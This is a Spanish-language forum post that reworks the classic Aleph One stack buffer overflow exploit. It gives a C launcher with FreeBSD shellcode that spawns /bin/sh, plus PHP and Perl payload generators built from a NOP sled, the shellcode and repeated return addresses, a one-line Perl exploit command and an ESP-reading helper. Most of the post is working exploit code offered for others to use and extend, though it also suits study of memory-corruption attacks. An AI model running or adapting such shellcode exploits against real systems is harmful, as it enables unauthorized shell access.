Bueno me imagino que todos conocen el exploit para propósitos generales publicado en el articulo
Smashing The Stack For Fun And Profit
Código
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
argv[0] = "/usr/home/Anon/vuln";
argv[1] = buff;
execv(argv[0],argv);
}
El shellcode es para FreeBSD, también agregue que mande a ejecutar directamente el programa vulnerable.
Ahora en PHP
Código
<?php
$shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53\xb0\x3b\x50\xcd\x80";
$ret = "\x6c\xea\xbf\xbf";
$len = strlen($shellcode);
$size = 1040;
$nops = str_repeat("\x90",$size/2 - $len);
$rets = str_repeat($ret,$size/8);
printf('%s%s%s',$nops,$shellcode,$rets);
?>
Ahora en perl
Código
my $shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53\xb0\x3b\x50\xcd\x80";
my $len = length $shellcode;
my $size = 1040;
my $nops = "\x90" x (($size/2) - $len);
my %rets = "\x6c\xea\xbf\xbf" x ($size/8);
print $nops;
print $shellcode;
print $rets;
El de perl y la mayoria en los que se pueda ingresar las instrucciones desde la linea de comandos se hacer en una sola linea, solo que haces los calculos a mano e.j
Código:
./vuln `perl -e '{ print"\x90"x495;print"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53\xb0\x3b\x50\xcd\x80";print"\x60\xea\xbf\xbf"x130}'`
Al final dejo una imagen de este ultimo comando
Este ultimo de perl la primera vez que lo probé si me funciono, pero no recuerdo que le moví, y ya no esta funcionando. Alguien lo puede revisar que a mi me parece que esta todo bien
Para esos últimos el ESP lo tienes que sacar a mano y sumarle o restarle alguna cantidad de bytes, el ESP lo puedes conseguir con solo esta porción de código:
Código
#include <stdio.h>
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[]) {
unsigned long esp = get_sp();
printf("0x%x\n",esp);
return 0;
}
Aqui dejo la imagen:

El primero es el clásico de Aleph One, solo que algo modificado como se explico arriba
El segundo es la misma versión en PHP, y si hacen funcionar el de Perl, también funcionara así:

Si alguien quiere hacerlos en Ruby, Python u otro es libre de colocar el código
Saludos










Autor





En línea
. Se podria desarrollar un lenguaje general que genere esos codigos, no estaria nada mal. Onda le pones